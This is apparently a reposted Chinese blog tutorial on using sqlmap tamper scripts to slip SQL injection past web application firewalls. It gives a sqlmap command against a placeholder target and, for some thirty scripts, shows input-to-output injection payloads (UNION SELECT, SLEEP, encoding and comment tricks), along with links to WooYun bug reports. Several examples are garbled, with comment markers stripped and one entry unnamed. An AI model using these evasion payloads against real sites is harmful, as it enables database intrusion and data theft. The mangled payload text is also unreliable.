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sqlmap注入之tamper绕过WAF防火墙

jasonx 633 0 条

但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。

如何判断使用哪个脚本

最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。
直接加个单引号被过滤,说明注入时单引号是没法用的。

使用方法

参考:sqlmap用户手册详解【实用版】
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。

sqlmap.py -u “http://www.target.com/test.php?id=12” –dbms mysql –tamper “space2commet,versionedmorekeywords.py”  -v 3 –dbs
脚本名:apostrophemask.py

作用:用utf8代替引号

Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Tested against: all

脚本名:equaltolike.py

作用:like 代替等号
Example:
Input: SELECT FROM users WHERE id=1

FROM users WHERE id LIKE 1
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py

作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
Tested against: MSSQL SQLite
案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。

Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: MySQL 4, 5.0 and 5.5 Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py

作用:空格替换为#号 随机字符串 以及换行符

Example:
Input: 1 AND 9227=9227
Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
MySQL Tested against:

脚本名:apostrophenullencode.py

作用:绕过过滤双引号,替换字符和双引号。

Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
Tested against:
MySQL 4, 5.0 and 5.5
Oracle 10g

脚本名:halfversionedmorekeywords.py

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

Example:
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND 'QDWa'='QDWa"
Requirement:
MySQL < 5.1
Tested against:

脚本名:space2morehash.py

作用:空格替换为 #号 以及更多随机字符串 换行符

Example:

  • Input: 1 AND 9227=9227
  • Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
    Requirement: MySQL >= 5.1.13 Tested

MySQL 5.1.41

脚本名:appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码

Example: ('1 AND 1=1') '1 AND 1=1%00'
Requirement:

脚本名:ifnull2ifisnull.py

作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

Example:
('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
Requirement:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
Tested against:



脚本名:space2mssqlblank.py(mssql)

作用:空格替换为其它空符号
Example: Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
Requirement: Microsoft SQL Server Tested against: Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py

作用:用base64编码替换 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py

作用:替换空格

Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
Requirement: MSSQL MySQL

脚本名:modsecurityversioned.py

作用:过滤空格,包含完整的查询版本注释

Example: ('1 AND 2>1--') '1 /!30874AND 2>1/--'
Requirement: * MySQL
Tested against:

脚本名:space2mysqlblank.py

作用:空格替换其它空白符号(mysql)

Example:

  • Input: SELECT id FROM users
  • Output: SELECT%0Bid%0BFROM%A0users
    Requirement:

MySQL
Tested against:
MySQL 5.1

脚本名:between.py

作用:用between替换大于号(>)

Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 Oracle 10g PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py

作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
Requirement:
MySQL

脚本名:multiplespaces.py

作用:围绕SQL关键字添加多个空格

Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
Tested against: all

脚本名:space2plus.py

作用:用+替换空格

Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all
脚本名:bluecoat.py

作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
Tested against:

脚本名:nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
脚本名:space2randomblank.py

作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
Tested against: all

脚本名:sp_password.py

作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' Requirement: * MSSQL
脚本名:chardoubleencode.py

作用: 双url编码(不处理以编码的)

Example:

  • Input: SELECT FIELD FROM%20TABLE
  • Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
    脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT

Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’

脚本名:charencode.py

作用:url编码

Example:

  • Input: SELECT FIELD FROM%20TABLE
  • Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
  1. against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g

脚本名:randomcase.py

作用:随机大小写 Example:
Input: INSERT
Output: InsERt
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g

脚本名:unmagicquotes.py

作用:宽字符绕过 GPC addslashes

Example:

  • Input: 1′ AND 1=1
  • Output: 1%bf%27 AND 1=1–%20
脚本名:randomcomments.py

作用:用/**/分割sql关键字

Example:
‘INSERT’ becomes ‘IN//S//ERT’
脚本名:charunicodeencode.py

作用:字符串 unicode 编码

Example:

  • Input: SELECT FIELD%20FROM TABLE
  • Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
    Requirement:

ASP
ASP.NET
Tested against:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

脚本名:securesphere.py

作用:追加特制的字符串

Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
Tested against: all

作用:注释绕过

Example:

  • Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
  • Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
    Requirement:
脚本名:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’

Example:

  • Input: SELECT id FROM users
  • Output: SELECT//id//FROM/**/users
    Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py

作用:关键字前加注释

Example:

  • Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
  • Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa
    Requirement:

MySQL < 5.1
Tested against:

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